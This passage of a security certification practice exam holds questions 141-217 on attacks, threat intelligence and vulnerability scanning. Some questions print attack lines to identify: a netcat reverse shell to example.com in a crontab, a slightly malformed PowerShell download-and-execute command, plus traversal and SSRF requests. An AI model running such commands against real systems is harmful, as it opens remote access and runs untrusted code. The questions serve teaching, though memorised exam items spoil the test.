C. Dictionary attack

D. Spoofing

141. Jim discovers a physical device attached to a gas pump's credit card reader. What type of attack has he likely discovered?

A. A replay attack

B. A race condition

C. A skimmer

D. A card cloner

142. What is the primary difference between active and passive reconnaissance?

A. Active will be done manually, passive with tools.

B. Active is done with black-box tests and passive with white-box tests.

C. Active is usually done by attackers and passive by testers.

D. Active will actually connect to the network and could be detected; passive won't.

143. A browser toolbar is an example of what type of malware?

A. A rootkit

B. A RAT

C. A worm

D. A PUP

144. What term describes data that is collected from publicly available sources that can be used in an intelligence context?

A. OPSEC

B. OSINT

C. IntCon

D. STIX

145. What type of attack targets a specific group of users by infecting one or more websites that that group is specifically known to visit frequently?

A. A watercooler attack

B. A phishing net attack

C. A watering hole attack

D. A phish pond attack

146. Tracy is concerned about LDAP injection attacks against her directory server. Which of the following is not a common technique to prevent LDAP injection attacks?

A. Secure configuration of LDAP

B. User input validation

C. LDAP query parameterization

D. Output filtering rules

147. Fred uses a Tor proxy to browse for sites as part of his threat intelligence. What term is frequently used to describe this part of the Internet?

A. Through the looking glass

B. The dark web

C. The underweb

D. Onion-space

148. What browser feature is used to help prevent successful URL redirection attacks?

A. Certificate expiration tracking

B. Displaying the full real URL

C. Disabling cookies

D. Enabling JavaScript

149. What is the most significant difference between cloud service-based and on-premises vulnerabilities?

A. Your ability to remediate it yourself

B. The severity of the vulnerability

C. The time required to remediate

D. Your responsibility for compromised data

150. Christina runs a vulnerability scan of a customer network and discovers that a consumer wireless router on the network returns a result reporting default login credentials. What common configuration issue has she encountered?

A. An unpatched device

B. An out of support device

C. An unsecured administrator account

D. An unsecured user account

151. What type of team is used to test security by using tools and techniques that an actual attacker would use?

A. A red team

B. A blue team

C. A white team

D. A purple team

152. While reviewing web logs for her organization's website Kathleen discovers the entry shown here:

```
GET http://example.com/viewarticle.php?view=../../../config.txt HTTP/1.1
```

What type of attack has she potentially discovered?

A. A directory traversal attacks

B. A web application buffer overflow

C. A directory recursion attack

D. A slashdot attack

153. What is the key differentiator between SOAR and SIEM systems?

A. SOAR integrates with a wider range of applications.

B. SIEM includes threat and vulnerability management tools.

C. SOAR includes security operations automation.

D. SIEM includes security operations automation.

154. Your company has hired a penetration testing firm to test the network. For the test, you have given the company details on operating systems you use, applications you run, and network devices. What best describes this type of test?

A. Known environment test

B. External test

C. Unknown environment test

D. Threat test

155. What two files are commonly attacked using offline brute-force attacks?

A. The Windows registry and the Linux `/etc/passwd` file

B. The Windows SAM and the Linux `/etc/passwd` file

C. The Windows SAM and the Linux `/etc/shadow` file

D. The Windows registry and the Linux `/etc/shadow` file

156. What type of attack is an SSL stripping attack?

A. A brute-force attack

B. A Trojan attack

C. An on-path attack

D. A downgrade attack

157. What type of attack is the U.S. Trusted Foundry program intended to help prevent?

A. Critical infrastructure attacks

B. Metalwork and casting attacks

C. Supply chain attacks

D. Software source code attacks

158. Nicole wants to show the management in her organization real-time data about attacks from around the world via multiple service providers in a visual way. What type of threat intelligence tool is often used for this purpose?

A. A pie chart

B. A threat map

C. A dark web tracker

D. An OSINT repository

159. You have noticed that when in a crowded area, data from your cell phone is stolen. Later investigation shows a Bluetooth connection to your phone, one that you cannot explain. What describes this attack?

A. Bluejacking

B. Bluesnarfing

C. Evil twin

D. RAT

160. The type and scope of testing, client contact details, how sensitive data will be handled, and the type and frequency of status meetings and reports are all common elements of what artifact of a penetration test?

A. The black-box outline

B. The rules of engagement

C. The white-box outline

D. The close-out report

161. Amanda encounters a Bash script that runs the following command:

```
crontab -e 0 * * * * nc example.com 8989 -e /bin/bash
```

What does this command do?

A. It checks the time every hour.

B. It pulls data from `example.com` every minute.

C. It sets up a reverse shell.

D. None of the above

162. A penetration tester called a help desk staff member at the company that Charles works at and claimed to be a senior executive who needed her password changed immediately due to an important meeting they needed to conduct that would start in a few minutes. The staff member changed the executive's password to a password that the penetration tester provided. What social engineering principle did the penetration tester leverage to accomplish this attack?

A. Intimidation

B. Scarcity

C. Urgency

D. Trust

163. Patrick has subscribed to a commercial threat intelligence feed that is only provided to subscribers who have been vetted and who pay a monthly fee. What industry term is used to refer to this type of threat intelligence?

A. Proprietary threat intelligence

B. OSINT

C. ELINT

D. Corporate threat intelligence

164. What threat hunting concept involves thinking like a malicious actor to help identify indicators of compromise that might otherwise be hidden?

A. Intelligence fusion

B. Maneuver

C. Threat feed analysis

D. Bulletin analysis

165. What type of malicious actor will typically have the least amount of resources available to them?

A. Nation-states

B. Script kiddies

C. Hacktivists

D. Organized crime

166. A SYN flood seeks to overwhelm a system by tying up all the open sessions that it can create. What type of attack is this?

A. A DDoS

B. A resource exhaustion attack

C. An application exploit

D. A vulnerability exploit

167. A penetration tester calls a staff member for her target organization and introduces herself as a member of the IT support team. She asks if the staff member has encountered a problem with their system, then proceeds to ask for details about the individual, claiming she needs to verify that she is talking to the right person. What type of social engineering attack is this?

A. Pretexting

B. A watering hole attack

C. Prepending

D. Shoulder surfing

168. What term describes the use of airplanes or drones to gather network or other information as part of a penetration test or intelligence gathering operation?

A. Droning

B. Air Snarfing

C. War flying

D. Aerial snooping

169. Gabby wants to protect a legacy platform with known vulnerabilities. Which of the following is not a common option for this?

A. Disconnect it from the network.

B. Place the device behind a dedicated firewall and restrict inbound and outbound traffic.

C. Rely on the outdated OS to confuse attackers.

D. Move the device to a protected VLAN.

170. In the United States, collaborative industry organizations that analyze and share cybersecurity threat information within their industry verticals are known by what term?

A. IRTs

B. ISACs

C. Feedburners

D. Vertical threat feeds

171. After running nmap against a system on a network, Lucca sees that TCP port 23 is open and a service is running on it. What issue should he identify?

A. Low ports should not be open to the Internet.

B. Telnet is an insecure protocol.

C. SSH is an insecure protocol.

D. Ports 1-1024 are well-known ports and must be firewalled.

172. During a penetration test, Cameron gains physical access to a Windows system and uses a system repair disk to copy `cmd.exe` to the `%systemroot%\system32` directory while renaming it `sethc.exe`. When the system boots, he is able to log in as an unprivileged user, hit the Shift key five times, and open a command prompt with system-level access using sticky keys. What type of attack has he conducted?

A. A Trojan attack

B. A privilege escalation attack

C. A denial-of-service attack

D. A swapfile attack

173. Adam wants to describe threat actors using common attributes. Which of the following list is not a common attribute used to describe threat actors?

A. Internal/external

B. Resources or funding level

C. Years of experience

D. Intent/motivation

174. Madhuri is concerned about the security of the machine learning algorithms that her organization is deploying. Which of the following options is not a common security precaution for machine learning algorithms?

A. Ensuring the source data is secure and of sufficient quality

B. Requiring a third-party review of all proprietary algorithms

C. Requiring change control and documentation for all changes to the algorithms

D. Ensuring a secure environment for all development, data acquisition, and storage

175. Frank is part of a white team for a cybersecurity exercise. What role will he and his team have?

A. Performing oversight and judging of the exercise

B. Providing full details of the environment to the participants

C. Providing partial details of the environment to the participants

D. Providing defense against the attackers in the exercise

176. Susan receives $10,000 for reporting a vulnerability to a vendor who participates in a program to identify issues. What term is commonly used to describe this type of payment?

A. A ransom

B. A payday

C. A bug bounty

D. A zero-day disclosure

177. Charles sets the permissions on the `/etc` directory on a Linux system to 777 using the `chmod` command. If Alex later discovers this, what should he report his finding as?

A. Open or weak permissions

B. Improper file handling

C. A privilege escalation attack

D. None of the above

178. During a penetration test, Kathleen gathers information, including the organization's domain name, IP addresses, employee information, phone numbers, email addresses, and similar data. What is this process typically called?

A. Mapping

B. Footprinting

C. Fingerprinting

D. Aggregation

179. What term is used to describe mapping wireless networks while driving?

A. Wi-driving

B. Traffic testing

C. War driving

D. CARINT

180. Fred discovers that the lighting and utility control systems for his company have been overwhelmed by traffic sent to them from hundreds of external network hosts. This has resulted in the lights and utility system management systems not receiving appropriate reporting, and the endpoint devices cannot receive commands. What type of attack is this?

A. A SCADA overflow

B. An operational technology (OT) DDoS

C. A network DDoS

D. An application DDoS

181. Ben runs a vulnerability scan using up-to-date definitions for a system that he knows has a vulnerability in the version of Apache that it is running. The vulnerability scan does not show that issue when he reviews the report. What has Ben encountered?

A. A silent patch

B. A missing vulnerability update

C. A false negative

D. A false positive

182. What type of technique is commonly used by malware creators to change the signature of malware to avoid detection by antivirus tools?

A. Refactoring

B. Cloning

C. Manual source code editing

D. Changing programming languages

183. What term describes a military strategy for political warfare that combines conventional warfare, irregular warfare, and cyberwarfare with fake news, social media influence strategies, diplomatic efforts, and manipulation of legal activities?

A. Social warfare

B. Hybrid warfare

C. Social influence

D. Cybersocial influence campaigns

184. Chris is notified that one of his staff was warned via a text message that the FBI is aware that they have accessed illegal websites. What type of issue is this?

A. A phishing attempt

B. Identity fraud

C. A hoax

D. An invoice scam

185. Sarah is reviewing the logs for her web server and sees an entry flagged for review that includes the following HTTP request:

```
CheckinstockAPI=http://localhost/admin.php
```

What type of attack is most likely being attempted?

A. A cross-site scripting attack

B. Server-side request forgery

C. Client-side request forgery

D. SQL injection

186. Angela reviews bulletins and advisories to determine what threats her organization is likely to face. What type of activity is this associated with?

A. Incident response

B. Threat hunting

C. Penetration testing

D. Vulnerability scanning

187. Why do attackers target passwords stored in memory?

A. They are encrypted in memory.

B. They are hashed in memory.

C. They are often in plain text.

D. They are often de-hashed for use.

188. The U.S. Department of Homeland Security (DHS) provides an automated indicator sharing (AIS) service that allows for the federal government and private sector organizations to share threat data in real time. The AIS service uses open source protocols and standards to exchange this information. Which of the following standards does the AIS service use?

A. HTML and HTTPS

B. SFTP and XML

C. STIX and TRIX

D. STIX and TAXII

189. During what phase of a penetration test is information like employee names, phone number, and email addresses gathered?

A. Exploitation

B. Establishing persistence

C. Reconnaissance

D. Lateral movement

190. During a penetration test, Angela obtains the uniform of a well-known package delivery service and wears it into the target office. She claims to have a delivery for a C-level employee she knows is there and insists that the package must be signed for by that person. What social engineering technique has she used?

A. Impersonation

B. Whaling

C. A watering hole attack

D. Prepending

191. Nick purchases his network devices through a gray market supplier that imports them into his region without an official relationship with the network device manufacturer. What risk should Nick identify when he assesses his supply chain risk?

A. Lack of vendor support

B. Lack of warranty coverage

C. Inability to validate the source of the devices

D. All of the above

192. Christina wants to identify indicators of attack for XML-based web applications that her organization runs. Where is she most likely to find information that can help her determine whether XML injection is occurring against her web applications?

A. Syslog

B. Web server logs

C. Authentication logs

D. Event logs

193. What can Frank do to determine if he is suffering from a denial-of-service (DoS) attack against his cloud hosting environment?

A. Nothing; cloud services do not provide security tools.

B. Call the cloud service provider to have them stop the DoS attack.

C. Review the cloud service provider's security tools and enable logging and anti-DoS tools if they exist.

D. Call the cloud service provider's Internet service provider (ISP) and ask them to enable DoS prevention.

194. Frank is using the cloud hosting service's web publishing service rather than running his own web servers. Where will Frank need to look to review his logs to see what types of traffic his application is creating?

A. Syslog

B. Apache logs

C. The cloud service's web logs

D. None of the above

195. If Frank were still operating in his on-site infrastructure, which of the following technologies would provide the most insight into what type of attack he was seeing?

A. A firewall

B. An IPS

C. A vulnerability scanner

D. Antimalware software

196. Alaina wants to ensure that the on-site system integration that a vendor that her company is working with is done in accordance with industry best practices. Which of the following is not a common method of ensuring this?

A. Inserting security requirements into contracts

B. Auditing configurations

C. Coordinating with the vendor for security reviews during and after installation

D. Requiring an SOC report

197. Elias has implemented an AI-based network traffic analysis tool that requires him to allow the tool to monitor his network for a period of two weeks before being put into full production. What is the most significant concern he needs to address before using the AI's baselining capabilities?

A. The network should be isolated to prevent outbound traffic from being added to the normal traffic patterns.

B. Compromised or otherwise malicious machines could be added to the baseline resulting in tainted training data.

C. Traffic patterns may not match traffic throughout a longer timeframe.

D. The AI may not understand the traffic flows in his network.

198. What is the typical goal intent or goal of hacktivists?

A. Increasing their reputation

B. Financial gain

C. Making a political statement

D. Gathering high-value data

199. Where does the information for predictive analysis for threat intelligence come from?

A. Current security trends

B. Large security datasets

C. Behavior patterns

D. All of the above

200. Social Security numbers and other personal information are often stolen for what purpose?

A. Blackmail

B. Tailgating

C. Identity fraud

D. Impersonation

201. Security orchestration, automation, and response (SOAR) tools have three major components. Which of the following is not one of those components?

A. Source code security analysis and testing

B. Threat and vulnerability management

C. Security incident response

D. Security operations automation

202. Direct access, wireless, email, supply chain, social media, removable media, and cloud are all examples of what?

A. Threat intelligence sources

B. Threat vectors

C. Attributes of threat actors

D. Vulnerabilities

203. SourceForge and GitHub are both examples of what type of threat intelligence source?

A. The dark web

B. Automated indicator sharing sources

C. File or code repositories

D. Public information sharing centers

204. What is the root cause of improper input handling?

A. Improper error handling

B. Trusting rather than validating data inputs

C. Lack of user awareness

D. Improper source code review

205. Claire discovers the following PowerShell script. What does it do?

```
powershell.exe -ep Bypass -nop -noexit -c iex
((New ObjectNet.WebClient). DownloadString('https://example.com/file.psl))
```

A. Downloads a file and opens a remote shell

B. Uploads a file and deletes the local copy

C. Downloads a file into memory

D. Uploads a file from memory

206. Kathleen's IPS flags traffic from two IP addresses as shown here:

```
Source IP: 10.11.94.111
http://example.com/home/show.php?SESSIONID=a3fghbby
Source IP: 192.168.5.34
http://example.com/home/show.php?SESSIONID=a3fghbby
```

What type of attack should she investigate this as?

A. A SQL injection attack

B. A cross-site scripting attack

C. A session replay attack

D. A server-side request forgery attack

207. There are seven impact categories that you need to know for the Security+ exam. Which of the following is not one of them?

A. Data breaches

B. Data modification

C. Data exfiltration

D. Data loss

208. Which of the following research sources is typically the least timely when sourcing threat intelligence?

A. Vulnerability feeds

B. Local industry groups

C. Academic journals

D. Threat feeds

209. While reviewing auth logs on a server that she maintains, Megan notices the following log entries:

```
Apr 26 20:01:32 examplesys rshd[6101]: Connection from 10.0.2.15 on
illegal port
Apr 26 20:01:48 examplesys rshd[6117]: Connection from 10.0.2.15 on
illegal port
Apr 26 20:02:02 examplesys rshd[6167]: Connection from 10.0.2.15 on
illegal port
Apr 26 20:02:09 examplesys rshd[6170]: Connection from 10.0.2.15 on
illegal port
Apr 26 20:02:09 examplesys rshd[6172]: Connection from 10.0.2.15 on
illegal port
Apr 26 20:02:35 examplesys rshd[6188]: Connection from 10.0.2.15 on
illegal port
Apr 26 20:02:35 examplesys rlogind[6189]: Connection from 10.0.2.15 on
illegal port
```

What has she most likely detected?

A. A successful hacking attempt

B. A failed service startup

C. A vulnerability scan

D. A system reboot

210. The following graphic shows a report from an OpenVAS vulnerability scan. What should Charles do first to determine the best fix for the vulnerability shown?

ID: f64e51b3-7448-4e95-a6a4-cb11861360b5
Created: Mon Apr 27 00:10:10 2020
Modified: Mon Apr 27 00:10:10 2020
Owner: securityplus

Result: PHP-CGI-based setups vulnerability when parsing query string parameters from php files.

Vulnerability	Severity	QoD	Host	Location	Actions
PHP-CGI-based setups vulnerability when parsing query string parameters from php files.	7.5 (High)	95%	10.0.2.4	80/tcp	

Summary
PHP is prone to an information-disclosure vulnerability.

Vulnerability Detection Result

Vulnerable url: http://10.0.2.4/cgi-bin/php

Impact
Exploiting this issue allows remote attackers to view the source code of files in the context of the server process. This may allow the attacker to obtain sensitive information and to run arbitrary PHP code on the affected computer. Other attacks are also possible.

Solution
Solution type: VendorFix

PHP has released version 5.4.3 and 5.3.13 to address this vulnerability. PHP is recommending that users upgrade to the latest version of PHP.

Vulnerability Insight
When PHP is used in a CGI-based setup (such as Apache's mod_cgid), the php-cgi receives a processed query string parameter as command line arguments which allows command-line switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution.

An example of the -s command, allowing an attacker to view the source code of index.php is below:

http://example.com/index.php?-s

Vulnerability Detection Method
Details: PHP-CGI-based setups vulnerability when parsing query string parameters from ph... (OID: 1.3.6.1.4.1.25623.1.0.103482)

Version used: 2019-11-08T10:10:55+0000

References

CVE: CVE-2012-1823, CVE-2012-2311, CVE-2012-2336, CVE-2012-2335

A. Disable PHP-CGI.

B. Upgrade PHP to version 5.4.

C. Review the vulnerability descriptions in the CVEs listed.

D. Disable the web server.

211. Ian runs a vulnerability scan, which notes that a service is running on TCP port 8080. What type of service is most likely running on that port?

A. SSH

B. RDP

C. MySQL

D. HTTP

212. Rick runs WPScan against a potentially vulnerable WordPress installation. WPScan is a web application security scanner designed specifically for WordPress sites. As part of the scan results, he notices the following entry:

```
[+] mygallery
 | Location: http://10.0.2.7/wordpress/wp-content/plugins/mygallery/
 | Latest Version: 2.0.8
 | Last Updated: 2019-10-22T14:01:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: myGallery ⩽ 1.4b4 - Remote File Inclusion
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/6506
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2426
 |      - https://www.exploit-db.com/exploits/3814/
 |      - https://www.securityfocus.com/bid/23702/
 |
 | The version could not be determined.
```

What should Rick do after remediating this vulnerability?

A. Install a web application firewall.

B. Review the patching and updating process for the WordPress system.

C. Search for other compromised systems.

D. Review IPS logs for attacks against the vulnerable plug-in.

213. Carolyn runs a vulnerability scan of a network device and discovers that the device is running services on TCP ports 22 and 443. What services has she most likely discovered?

A. Telnet and a web server

B. FTP and a Windows fileshare

C. SSH and a web server

D. SSH and a Windows fileshare

214. Ryan needs to verify that no unnecessary ports and services are available on his systems, but he cannot run a vulnerability scanner. What is his best option?

A. Passive network traffic capture to detect services

B. A configuration review

C. Active network traffic capture to detect services

D. Log review

215. Why is improper error handling for web applications that results in displaying error messages considered a vulnerability that should be remediated?

A. Errors can be used to crash the system.

B. Many errors result in race conditions that can be exploited.

C. Many errors provide information about the host system or its configuration.

D. Errors can change system permissions.

216. Some users on your network use Acme Bank for their personal banking. Those users have all recently been the victim of an attack, in which they visited a fake Acme Bank website and their logins were compromised. They all visited the bank website from your network, and all of them insist they typed in the correct URL. What is the most likely explanation for this situation?

A. Trojan horse

B. IP spoofing

C. Clickjacking

D. DNS poisoning

217. John is a network administrator for Acme Company. He has discovered that someone has registered a domain name that is spelled just one letter different than his company's domain. The website with the misspelled URL is a phishing site. What best describes this attack?

A. Session hijacking

B. Cross-site request forgery

C. Typo squatting

D. Clickjacking